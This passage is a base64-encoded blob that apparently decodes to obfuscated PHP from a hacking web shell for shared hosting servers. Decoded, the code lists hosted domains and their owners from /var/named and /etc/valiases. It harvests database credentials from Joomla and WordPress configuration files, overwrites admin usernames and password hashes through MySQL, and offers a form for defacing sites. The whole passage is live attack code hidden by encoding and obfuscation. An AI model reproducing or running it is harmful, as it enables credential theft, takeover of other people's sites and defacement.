yQVx4NGNceDUzIn1bIlx4N2FceDZkZlx4NmVceDc4XHg3M1x4NzNceDc3XHg3NyJdfVswXS4iLUpvb21sXHg2MS5ceDc0eHQiKTskeyR7Ilx4NDdMT0JceDQxXHg0Y1x4NTMifVsiXHg2OVx4NjZceDY2bFx4NmJceDZhXHg2YVx4NzhceDZkIl19PSR7JHsiR0xPQlx4NDFceDRjUyJ9WyJnXHg3Mlx4NzZceDc4XHg2N2hceDZjXHg2YVx4NzAiXX0uImNpcHJceDc1XHg3NC8iLiR7JG1tc2lmcnl1b3B9WyJceDZlXHg2MW1ceDY1Il0uIi1KXHg2Zlx4NmZceDZkXHg2Y2FceDJlXHg3NFx4NzhceDc0IjtpZihwcmVnX21hdGNoKCJceDI1KFx4NGFDb1x4NmVmaWd8XHg2ZG9ceDczQ1x4NmZceDZlXHg2NmlnKVx4MjUiLCR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc3XHg2MVx4NzhkcGRwXHg2M21lXHg2YiJdfSkpeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2N1x4NzhceDY1Ylx4NzFjXHg3NFx4NjVceDcwXHg2OFx4NzgiXT0iY1x4NmVceDY2IjtpZihwcmVnX21hdGNoKCJceDI1XHg0YUNceDZmblx4NjZceDY5ZyUiLCR7JHsiR1x4NGNceDRmXHg0Mlx4NDFMUyJ9WyJ3YXhkXHg3MFx4NjRwXHg2M21layJdfSkpeyR1dmJtdmdvbnd2az0iXHg3NVx4NzNceDY1XHg3Mlx4NmVceDYxXHg2ZFx4NjUiOyR1ZnFlZHZxeT0icFx4NjFceDczc1x4NzdceDZmXHg3MmQiOyR7JHV2Ym12Z29ud3ZrfT1GaW5kKCR7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJceDc3XHg2MVx4NzhceDY0XHg3MFx4NjRwY1x4NmRceDY1XHg2YiJdfSwiXCR1XHg3M2VyID0gJyIsIlx4MjciKTskaWpudnB3amhlZj0iXHg2M25ceDY2IjskeyJceDQ3TFx4NGZCXHg0MVx4NGNceDUzIn1bIlx4NjdceDZjeVx4NmVceDZiXHg3Nlx4NzMiXT0iXHg2M1x4NmVmIjskeyJceDQ3TFx4NGZceDQyXHg0MUxceDUzIn1bIndceDc5XHg2Y1x4NjNceDY5aFx4NjIiXT0idXNlXHg3Mlx4NmVhXHg2ZFx4NjUiOyRzbGR6dHh0PSJceDY0XHg2Mm5ceDYxXHg2ZFx4NjUiOyRrZHlxbWdna3NleD0iXHg2M1x4NmVceDY2IjskeyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2M3VceDc1XHg2OVx4NzRceDYyXHg3OVx4NzgiXX09RmluZCgkeyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3N1x4NjFceDc4XHg2NFx4NzBkXHg3MFx4NjNtZWsiXX0sIlwkcGFzXHg3M3dceDZmcmRceDIwPSAnIiwiXHgyNyIpOyR7JHNsZHp0eHR9PUZpbmQoJHska2R5cW1nZ2tzZXh9LCJcJFx4NjRiXHgyMD0gJyIsIlx4MjciKTskZnFpbHBmej0iXHg3M1x4NjlceDc0ZVx4NWZceDc1XHg3MmwiOyR7JHsiR1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDZldlx4NmVceDZldFx4NmUiXX09RmluZCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1MifVsiXHg2N1x4NmN5XHg2ZVx4NmJceDc2XHg3MyJdfSwiXCRceDY0XHg2Mlx4NzByZVx4NjZceDY5XHg3OFx4MjBceDNkXHgyMFx4MjciLCJceDI3Iik7JHskeyJHXHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjhsaXhsXHg3OFx4NzJceDc0a3UiXX09RmluZCgkeyRpam52cHdqaGVmfSwiXCRceDZkXHg2MWlceDZjZlx4NzJceDZmXHg2ZCBceDNkXHgyMFx4MjciLCJceDI3Iik7JHskeyJHXHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NjhceDZjXHg2OVx4NzhsXHg3OFx4NzJceDc0a3UiXX09ZXhwbG9kZSgiXHg0MCIsJHskZnFpbHBmen0pOyR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJceDYyam5ceDY2XHg2N1x4NjFceDc5XHg2M1x4NjlsXHg2MiJdfT1teXNxbF9jb25uZWN0KCJceDZjb2NceDYxbGhvXHg3M1x4NzQiLCR7JHsiR0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc3XHg3OVx4NmNceDYzaVx4NjhceDYyIl19LCR7JHVmcWVkdnF5fSk7aWYoJHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NjJceDZhXHg2ZVx4NjZnXHg2MVx4NzljaVx4NmNiIl19KXskb3hoeXZlb3hodD0iXHg2OFx4NjFzXHg2OCI7JHdieGF0ampjamtsPSJceDcwXHg2MXNzIjskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmFqb1x4NjFceDdhclx4NzdceDY1XHg2MVx4NmMiXT0iZFx4NjJuXHg2MVx4NmRceDY1IjskeyRveGh5dmVveGh0fT1tZDUoJHskd2J4YXRqamNqa2x9KTskYW5zem55cmc9Ilx4NjRvXHg2ZFx4NjFpbiI7bXlzcWxfc2VsZWN0X2RiKCR7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJqXHg2YVx4NmZceDYxXHg3YVx4NzJceDc3XHg2NVx4NjFceDZjIl19LCR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDYyXHg2YW5mXHg2N1x4NjFceDc5XHg2M1x4NjlceDZjYiJdfSk7JHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImZceDY1XHg3NFx4NmNnYlx4NzUiXX09JHskeyJceDQ3XHg0Y09CXHg0MVx4NGNceDUzIn1bIm5ceDc2XHg2ZVx4NmV0XHg2ZSJdfS4iXHg3NVx4NzNlXHg3Mlx4NzMiOyR0eW5nZ3RxdD0iXHg3MVx4NzVlclx4NzlceDMyIjskeyR0eW5nZ3RxdH09QG15c3FsX3F1ZXJ5KCJVUERBVEVceDIwYCR0YWJceDYwXHgyMCBceDUzRVx4NTRceDIwYFx4NzVceDczXHg2NVx4NzJceDZlYVx4NmRceDY1YFx4MjBceDNkXHgyNyR1c2VyJyIpOyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg3NG5zeVx4Njdvclx4NzBceDYxXHg3NVx4NjYiXT0iXHg2M29ceDZlZlx4NjlceDY3IjskeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3NHFxXHg3NGxceDYzdVx4NjNceDc2Il19PUBteXNxbF9xdWVyeSgiXHg1NVBceDQ0XHg0MVx4NTRceDQ1XHgyMFx4NjAkdGFiXHg2MCBceDIwU0VUIGBwYXNzXHg3N29yZFx4NjBceDIwPVx4MjckaGFzaFx4MjciKTtlY2hvIlx4M2N0clx4M2U8dFx4NjRceDNlPGFceDIwaHJlZlx4M2QiLiR7JHsiXHg0N0xPQkFceDRjXHg1MyJ9WyJceDYyXHg2MVx4NmFzcFx4NzRceDcxXHg3N1x4NmZceDcydyJdfS4iXHgyMFx4NmZceDZlY1x4NmNpXHg2M1x4NmI9XCJceDc3XHg2OVx4NmVceDY0b3dceDJlXHg2Zlx4NzBceDY1XHg2ZShceDc0aFx4NjlzLmhyXHg2NWYpO1x4NzJceDY1dHVceDcyblx4MjBcblxuXHg2NmFsc1x4NjVceDNiXHgyMlx4M2UiLiR7JGFuc3pueXJnfS4iPC9ceDYxXHgzZTwvdFx4NjQ+XHgzY3RceDY0PiIuJHskeyJceDQ3XHg0Y1x4NGZCQVx4NGNceDUzIn1bInVxY3dceDZkXHg2ZXNceDZjIl19WyJuXHg2MW1ceDY1Il0uIlx4M2MvdFx4NjQ+XHgzY1x4NzRkPjxceDYxXHgyMGhyZWY9Ii4keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsiXHg3NFx4NmVceDczXHg3OWdvclx4NzBceDYxXHg3NVx4NjYiXX0uIlx4M2VceDRhXHg2Zm9ceDZkXHg2Y2E8L2E+PC90XHg2ND5ceDNjXHg3NFx4NjRceDNlPFx4NjZvXHg2ZVx4NzRceDIwXG5cblx4NjNceDZmbFx4NmZceDcyPVwiXHg2N1x4NzJlXHg2NVx4NmVcIlx4M2VzXHg3NVx4NjNjXHg2NVx4NzNceDczLi5ceDNjL2Zvblx4NzRceDNlPGJyXHgzZSI7fWVsc2V7JG5pdm9xeHplPSJvd1x4NmVceDY1XHg3MiI7ZWNobyI8XHg3NFx4NzI+XHgzY3RceDY0XHgzZTxhIGhyXHg2NVx4NjZceDNkIi4keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiYmFqXHg3M3BceDc0XHg3MXdvXHg3Mlx4NzciXX0uIlx4MjBceDZmXHg2ZVx4NjNceDZjaVx4NjNrXHgzZFx4MjJ3aVx4NmVceDY0XHg2Zlx4NzcuXHg2ZnBlbih0aGlceDczLmhceDcyXHg2NVx4NjYpXHgzYlx4NzJlXHg3NHVyblx4MjBcblxuXHg2Nlx4NjFsXHg3M2VceDNiXHgyMlx4M2UiLiR7JHsiXHg0N0xceDRmQkFMXHg1MyJ9WyJvXHg2Nlx4NjVvXHg2NHdceDc3bGpceDc5XHg2ZCJdfS4iXHgzYy9ceDYxXHgzZVx4M2MvXHg3NFx4NjRceDNlPHRkPiIuJHskbml2b3F4emV9WyJuYW1lIl0uIlx4M2MvdGRceDNlPHRceDY0XHgzZTxhIFx4NjhceDcyXHg2NVx4NjY9Ii4keyR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg2OWZmXHg2Y1x4NmJceDZhanhceDZkIl19LiJceDNlSlx4NmZceDZmXHg2ZGxhXHgzYy9ceDYxPlx4M2MvdGRceDNlXHgzY3RceDY0PjxmXHg2Zlx4NmVceDc0XHgyMFx4NjNceDZmbFx4NmZceDcyXHgzZFwiXHg3MmVceDY0XHgyMj5ceDZkeXNxXHg2Y1x4MjBcblxuXHg2NmFceDY5XHg2Y1x4M2MvXHg2Nlx4NmZceDZldFx4M2U8L1x4NzRkPiI7fX1lbHNlaWYocHJlZ19tYXRjaCgiJVx4NmRceDZmXHg3M0NceDZmXHg2ZWZceDY5XHg2NyUiLCR7JHsiR1x4NGNceDRmQlx4NDFMUyJ9WyJceDY3XHg3OFx4NjVceDYyXHg3MVx4NjNceDc0XHg2NXBoeCJdfSkpeyRva2xzZGRjeT0iZGJceDZlXHg2MVx4NmRceDY1IjskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIm1ceDY4XHg2NFx4NzBceDY4c1x4NjNceDY3Zlx4NzgiXT0iXHg2M1x4NmVmIjskcnB1b3l1aWQ9Ilx4NzVceDczXHg2NVx4NzJceDZlXHg2MVx4NmRceDY1IjskeyRycHVveXVpZH09RmluZCgkeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3N2FceDc4ZHBkXHg3MFx4NjNceDZkXHg2NWsiXX0sIlwkXHg2ZFx4NmZceDczQ29ceDZlZlx4NjlnX3VzXHg2NXJceDIwXHgzZCAnIiwiJyIpOyRnY3h4eGlmdD0iXHg3M2l0ZVx4NWZ1XHg3Mlx4NmMiOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2Y1x4NjhuXHg2NWdceDY2XHg2ZWhceDczXHg2MiJdPSJceDcwYVx4NzNceDczd1x4NmZceDcyXHg2NCI7JHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIlx4NmNceDY4XHg2ZVx4NjVceDY3XHg2Nm5ceDY4c1x4NjIiXX09RmluZCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2ZGhceDY0XHg3MFx4NjhceDczXHg2M1x4NjdmXHg3OCJdfSwiXCRtXHg2Zlx4NzNDXHg2Zlx4NmVmaVx4NjdceDVmXHg3MFx4NjFzc1x4NzdceDZmclx4NjQgXHgzZCAnIiwiXHgyNyIpOyR7JG9rbHNkZGN5fT1GaW5kKCR7JHsiR1x4NGNceDRmQkFMXHg1MyJ9WyJceDc3YVx4NzhceDY0cFx4NjRceDcwY1x4NmRceDY1XHg2YiJdfSwiXCRceDZkb1x4NzNceDQzb1x4NmVmXHg2OVx4NjdceDVmZFx4NjIgXHgzZCAnIiwiJyIpOyRod3Rzd2ljZWg9ImxceDY5XHg2ZWsiOyR7JHsiXHg0N0xPQlx4NDFMUyJ9WyJceDZlXHg3Nlx4NmVceDZldFx4NmUiXX09RmluZCgkeyR7IkdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsid1x4NjFceDc4XHg2NFx4NzBceDY0XHg3MFx4NjNceDZkXHg2NWsiXX0sIlwkXHg2ZFx4NmZceDczQ29uXHg2Nlx4NjlceDY3XHg1ZmRceDYyXHg3MHJlXHg2Nlx4Njl4XHgyMD1ceDIwJyIsIiciKTska2tvaWNkZXA9Ilx4NzBhc3N3b1x4NzJkIjskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2OFx4NmNceDY5XHg3OFx4NmNceDc4XHg3MnRrdSJdfT1GaW5kKCR7JHsiR1x4NGNPQlx4NDFceDRjUyJ9WyJceDc3YVx4NzhceDY0XHg3MGRwY21ceDY1XHg2YiJdfSwiXCRtYVx4NjlceDZjXHg2Nlx4NzJvbSBceDNkICciLCJceDI3Iik7JHskeyJceDQ3TFx4NGZCQUxTIn1bIlx4NjhceDZjXHg2OVx4NzhceDZjeFx4NzJceDc0a1x4NzUiXX09ZXhwbG9kZSgiQCIsJHskZ2N4eHhpZnR9KTskeyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Mlx4NmFceDZlXHg2Nlx4NjdceDYxXHg3OVx4NjNceDY5bGIiXX09bXlzcWxfY29ubmVjdCgiXHg2Y29ceDYzYVx4NmNceDY4XHg2Zlx4NzNceDc0IiwkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg3OVx4NmZceDc2XHg2Mlx4NjRceDc4XHg3OVx4NzZpXHg3NFx4NmIiXX0sJHska2tvaWNkZXB9KTtpZigkeyRod3Rzd2ljZWh9KXskcnludmVzaj0icVx4NzVlXHg3Mlx4NzlceDMyIjskeyJceDQ3XHg0Y09CXHg0MUxceDUzIn1bIlx4NmViXHg2MWdceDZiXHg3N1x4NzBqXHg2ZmwiXT0idVx4NzJsIjskdmVjcGl3ZWNldj0icHJceDY1XHg2Nlx4NjlceDc4Ijskb3hya25mamo9Ilx4NzBceDYxc1x4NzMiOyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsibG1zXHg2M1x4NzVceDYzZFx4NmVmbCJdPSJceDY4XHg2MVx4NzNceDY4IjskeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsibFx4NmRzY1x4NzVceDYzXHg2NG5ceDY2XHg2YyJdfT1tZDUoJHskb3hya25mamp9KTskc2hkd2lodGZsam9pPSJvXHg3N1x4NmVlXHg3MiI7bXlzcWxfc2VsZWN0X2RiKCR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJoa1x4NjRjXHg3NW0iXX0sJHskeyJHXHg0Y09CXHg0MVx4NGNceDUzIn1bIlx4NjJceDZhXHg2ZVx4NjZnXHg2MVx4NzlceDYzXHg2OVx4NmNceDYyIl19KTskeyR7Ilx4NDdMT0JceDQxXHg0Y1x4NTMifVsiZlx4NjVceDc0XHg2Y1x4NjdiXHg3NSJdfT0keyR2ZWNwaXdlY2V2fS4iXHg3NVx4NzNlclx4NzMiOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3OVx4NjZceDY5cnFceDcwXHg2NSJdPSJceDcxdVx4NjVceDcyXHg3OVx4MzMiOyR7JHJ5bnZlc2p9PUBteXNxbF9xdWVyeSgiXHg1NVx4NTBEQVx4NTRFIGAkdGFiXHg2MFx4MjAgU0VceDU0IFx4NjBceDc1c1x4NjVyXHg2ZVx4NjFtZWAgXHgzZFx4MjckdXNlciciKTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg3OWZpclx4NzFceDcwXHg2NSJdfT1AbXlzcWxfcXVlcnkoIlVceDUwXHg0NEFceDU0RSBceDYwJHRhYlx4NjAgIFNFXHg1NFx4MjBgXHg3MGFceDczXHg3M1x4Nzdvclx4NjRceDYwID1ceDI3JGhhc2gnIik7ZWNobyJceDNjdFx4NzJceDNlPFx4NzRceDY0XHgzZVx4M2NhIFx4NjhceDcyXHg2NWY9Ii4keyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFMifVsiXHg2ZVx4NjJceDYxXHg2N1x4NmJceDc3XHg3MFx4NmFvXHg2YyJdfS4iIFx4NmZceDZlXHg2M1x4NmNpXHg2M2s9XCJceDc3aVx4NmVkXHg2ZndceDJlb1x4NzBceDY1bihceDc0XHg2OFx4NjlzLlx4NjhyXHg2NVx4NjYpXHgzYlx4NzJceDY1dHVceDcyXHg2ZSBcblxuZmFceDZjc2U7XCI+Ii4keyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2ZmZlXHg2Zlx4NjR3XHg3N1x4NmNceDZhXHg3OVx4NmQiXX0uIlx4M2MvYT48L3RkPlx4M2NceDc0ZD4iLiR7JHNoZHdpaHRmbGpvaX1bIlx4NmVhXHg2ZFx4NjUiXS4iXHgzYy9ceDc0ZD48XHg3NGRceDNlPGEgXHg2OHJceDY1XHg2Nj0iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDY5XHg2NmZceDZjXHg2YmpceDZhXHg3OFx4NmQiXX0uIj5ceDRhb29tXHg2Y2FceDNjL1x4NjE+PC90ZFx4M2VceDNjdGQ+XHgzY2ZvXHg2ZVx4NzQgXG5cbmNvbFx4NmZyPVwiZ3JceDY1XHg2NVx4NmVcIj5ceDczdVx4NjNceDYzZXNceDczLi5ceDNjL1x4NjZceDZmXHg2ZVx4NzQ+PGJceDcyXHgzZSI7fWVsc2V7JHsiXHg0N0xceDRmXHg0MkFceDRjXHg1MyJ9WyJceDYxXHg2NFx4NjZzXHg3MVx4NzdqbyJdPSJceDY0XHg2Zlx4NmRceDYxXHg2OVx4NmUiOyRjdXJtanF5dHVhPSJceDZmd1x4NmVlXHg3MiI7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDYyXHg3Mlx4NzdceDY5XHg3NFx4NmUiXT0iXHg3NVx4NzJceDZjIjtlY2hvIjxceDc0XHg3Mj5ceDNjXHg3NGRceDNlXHgzY1x4NjEgaHJceDY1XHg2Nj0iLiR7JHsiXHg0N1x4NGNPXHg0MkFMUyJ9WyJceDYyXHg3Mlx4NzdceDY5XHg3NFx4NmUiXX0uIiBvblx4NjNsXHg2OVx4NjNceDZiXHgzZFx4MjJ3aW5kXHg2Zncub1x4NzBceDY1XHg2ZSh0aGlzXHgyZWhceDcyZVx4NjYpXHgzYlx4NzJceDY1dHVyXHg2ZVx4MjBcblxuXHg2NmFceDZjc2VceDNiXHgyMj4iLiR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJhXHg2NFx4NjZzXHg3MXdqbyJdfS4iXHgzYy9ceDYxXHgzZTwvXHg3NGQ+PHRkXHgzZSIuJHskY3VybWpxeXR1YX1bIlx4NmVceDYxbVx4NjUiXS4iXHgzYy90XHg2NFx4M2VceDNjXHg3NFx4NjQ+PFx4NjFceDIwXHg2OHJlXHg2Nj0iLiR7JHsiR0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDY5Zlx4NjZceDZja1x4NmFceDZhXHg3OFx4NmQiXX0uIj5Kb29ceDZkXHg2Y1x4NjFceDNjL2E+XHgzYy90XHg2ND5ceDNjXHg3NGQ+PFx4NjZvXHg2ZXRceDIwY1x4NmZsb1x4NzI9XHgyMnJlXHg2NFx4MjJceDNlbXlceDczXHg3MWwgXG5cbmZceDYxaVx4NmNceDNjL1x4NjZvblx4NzRceDNlPC9ceDc0ZFx4M2UiO319fX19fX1icmVhaztjYXNlIlx4NzdceDcwX1x4NjRceDY1XHg2NiI6JHskeyJceDQ3TE9CQUxceDUzIn1bInpceDZkeFx4NzdceDc2XHg2NFx4NzJsXHg2ZHciXX09Ilx4NjFceDY0bWlceDZlIjskeyRvd3B4b2ZqaGppfT0iXHg2Nm9vIjtlY2hvIlx4M2NkXHg2OXZceDIwXHg2MVx4NmNpZ25ceDNkXCJjZVx4NmVceDc0XHg2NXJceDIyXHgzZVxuXHgzY2ZceDZmXHg3Mlx4NmQgYWNceDc0XHg2OW9ceDZlPVwiXHgyMlx4MjBceDZkZVx4NzRob1x4NjRceDNkXHgyMlx4NTBPXHg1M1x4NTRcIlx4M2VcblxuPGxceDYxXHg2MmVceDZjXHgzZURceDY1XHg2Nlx4NjFceDYzZSBceDU1XHg1Mlx4NGM6XHgyMFx4M2MvbGFceDYyXHg2NVx4NmNceDNlIDxceDY5blx4NzB1XHg3NFx4MjB0XHg3OXBceDY1XHgzZFx4MjJ0ZXh0XCIgXHg3M3R5XHg2Y1x4NjVceDNkXHgyMndceDY5ZFx4NzRoOlx4MzQ1XHgzMFx4NzB4O1wiXHgyMG5hbWU9XCJkZVx4NjZceDYxY2VceDVmcGFceDY3ZVx4MjJceDNlXHgzY1x4NjJyIC9ceDNlXG5ceDNjXHg2OW5wdXRceDIwdHlceDcwZVx4M2RcInNceDc1XHg2Mm1pdFx4MjIgdmFsdVx4NjVceDNkXCJERVx4NDZBXHg0M0VcIlx4M2Vcblx4M2MvZlx4NmZybT5cbiI7aWYoJF9QT1NUKXskeyJceDQ3TE9ceDQyXHg0MVx4NGNceDUzIn1bInNceDYxXHg2YVx4N2FceDc4ZSJdPSJkZVx4NjZceDYxY1x4NjUiOyR7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJzXHg2MWpceDdheFx4NjUiXX09ZmlsZV9nZXRfY29udGVudHModHJpbSgkX1BPU1RbImRceDY1XHg2NmFjXHg2NV9wXHg2MWdlIl0pKTtpZihpc19yZWFkYWJsZSgiL1x4NzZhXHg3Mi9ceDZlYVx4NmRlZCIpKXtlY2hvIlx4M2NceDc0YWJsXHg2NVx4MjBceDYxXHg2Y2lnXHg2ZT1ceDIyXHg2M2VudGVceDcyXHgyMiBceDYyXHg2Zlx4NzJkXHg2NVx4NzI9XCJceDMxXHgyMiBceDc3XHg2OWRceDc0aD1cIlx4MzRceDM1JVx4MjJceDIwXHg2M2VsXHg2Y1x4NzNwXHg2MVx4NjNceDY5XHg2ZWdceDNkXCIwXHgyMlx4MjBceDYzZWxceDZjcGFceDY0ZFx4NjluZ1x4M2RcIlx4MzRcIlx4M2UiOyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1MifVsiZXpceDZhXHg3MGRceDc1XHg2Nlx4NjgiXT0iXHg2Y2lceDczXHg3NCI7JHhzdHhteWh6PSJceDY0b1x4NmRceDYxaVx4NmUiOyR7Ilx4NDdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3NFx4NjRsXHg3YXVceDZlXHg2ZFx4NzlceDZlXHg3Nlx4NzAiXT0iXHg2Y1x4NjlzdCI7ZWNobyI8XHg3NHJceDNlXHgzY1x4NzRceDY0XHgzZTxiPkRPXHg0ZFx4NDFJXHg0ZVx4M2MvXHg2Mj5ceDNjL3RceDY0Pjx0XHg2ND5VU0VceDUyXHgzYy9ceDc0XHg2NFx4M2U8XHg3NGRceDNlQ01ceDUzXHgzYy90XHg2ND5ceDNjXHg3NGQ+XHg1M1RceDQxVFVceDUzPC9iXHgzZVx4M2MvXHg3NFx4NjRceDNlPFx4NzRkXHgzZVx4NDRceDQ1XHg0NiBVUlx4NGNceDNjL1x4NzRceDY0XHgzZSI7JHskeyJceDQ3TE9ceDQyQVx4NGNceDUzIn1bImVceDdhanBkdVx4NjZceDY4Il19PXNjYW5kaXIoIi92XHg2MXIvbmFtXHg2NVx4NjQiKTtmb3JlYWNoKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMUyJ9WyJceDc0ZGx6XHg3NVx4NmVceDZkXHg3OW52XHg3MCJdfSBhcyR7JHhzdHhteWh6fSl7aWYoc3RycG9zKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjUyJ9WyJvXHg2Nlx4NjVceDZmXHg2NFx4NzdceDc3bFx4NmFceDc5XHg2ZCJdfSwiLlx4NjRceDYyIikpeyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1x4NTMifVsiYmFqXHg2Y1x4NzVceDcxIl09Ilx4NjRceDZmXHg2ZGFceDY5XHg2ZSI7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJceDYxXHg2NXFceDZhXHg2Zlx4NmViXHg2NVx4NjZceDc5Il09Ilx4NjRceDZmXHg2ZFx4NjFceDY5biI7JHsiR1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJceDY0XHg2YVx4Njl3aGlceDY2XHg2OHVceDYyIl09ImRceDZmXHg2ZFx4NjFceDY5biI7JHsiXHg0N1x4NGNceDRmQlx4NDFMUyJ9WyJyXHg3Nlx4NmVceDczXHg2ZmlxeG1ceDczayJdPSJvd1x4NmVlXHg3MiI7JHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NjJhXHg2YVx4NmNceDc1cSJdfT1zdHJfcmVwbGFjZSgiXHgyZVx4NjRceDYyIiwiIiwkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsib1x4NjZlb2RceDc3d1x4NmNceDZheVx4NmQiXX0pOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc1XHg3MVx4NjNceDc3bW5zbCJdfT1wb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIi9ldGMvXHg3Nlx4NjFceDZjXHg2OWFzXHg2NXMvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiZGpceDY5XHg3N2hpXHg2Nmh1XHg2MiJdfSkpOyR7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDYyXHg2MWpzcFx4NzRceDcxXHg3N1x4NmZydyJdfT0iaHRceDc0cDovLyIuJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NjFceDY1XHg3MVx4NmFceDZmXHg2ZVx4NjJlXHg2Nlx4NzkiXX07aWYoY2hrX2hlYWRlcigkeyR7Ilx4NDdceDRjT0JBTFMifVsiXHg2N1x4NzJceDc2eFx4NjdceDY4XHg2Y1x4NmFceDcwIl19LiJceDYzaXByXHg3NVx4NzQvIi4keyR7IkdceDRjT0JBTFx4NTMifVsicnZceDZlXHg3M1x4NmZpcVx4NzhtXHg3M1x4NmIiXX1bIm5hbWUiXS4iLVx4NTdvcmRQXHg3Mlx4NjVzXHg3M1x4MmVceDc0XHg3OHQiKSl7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMUyJ9WyJceDZiXHg2Nlx4NjViXHg3OVx4NzJ5XHg2NyJdPSJceDZmXHg3N1x4NmVceDY1ciI7JHsiR1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJwXHg2Y3NlXHg3NGRceDcwZFx4NjVnIl09Ilx4NzBceDYxXHg3M1x4NzNceDc3XHg2Zlx4NzJkIjskeXFqdWNiY2d0a3c9Ilx4NzVceDczXHg2NXJceDZlXHg2MW1ceDY1IjskeyJHXHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NjRceDdhc1x4NzRxbVx4NzNuXHg2OWFuXHg2YyJdPSJwXHg2MVx4NjdceDY1XHg1NVx4NTJceDRjIjskeyJceDQ3XHg0Y1x4NGZCQVx4NGNTIn1bIlx4NzhpXHg2ZFx4NmF0XHg2ZVx4NzJoXHg2OVx4NjQiXT0iXHg3MGFnZVx4NTVceDUyXHg0YyI7JHlnZW1nbGNncmM9InBceDYxXHg2N1x4NjVVXHg1Mlx4NGMiOyR7IkdceDRjT0JBTFx4NTMifVsiXHg3OFx4NjlceDc2XHg2NVx4NzVceDY1XHg2OFx4NjRceDZlXHg3NXVmIl09Im9ceDc3XHg2ZVx4NjVceDcyIjskeyR7Ilx4NDdMT1x4NDJceDQxTFx4NTMifVsiXHg2OVx4NjZmbFx4NmJqXHg2YVx4NzhceDZkIl19PSR7JHlnZW1nbGNncmN9LiJceDYzXHg2OXByXHg3NXQvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2Ylx4NjZlYlx4NzlceDcyeWciXX1bIm5ceDYxXHg2ZFx4NjUiXS4iLVx4NTdvXHg3Mlx4NjRQclx4NjVzXHg3M1x4MmVceDc0eHQiO2ZpbGVfZ2V0X2NvbnRlbnRzKCR7JHsiXHg0N1x4NGNPXHg0MkFceDRjUyJ9WyJ4XHg2OW1qXHg3NFx4NmVceDcyXHg2OFx4NjlceDY0Il19LiJceDYzXHg2OXByXHg3NVx4NzQvIi4keyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiXHg3NVx4NzFjXHg3N1x4NmRuXHg3M1x4NmMiXX1bIm5hbVx4NjUiXS4